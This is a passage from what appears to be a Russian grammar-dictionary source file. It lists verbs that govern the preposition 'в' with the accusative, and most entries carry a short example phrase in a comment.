rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
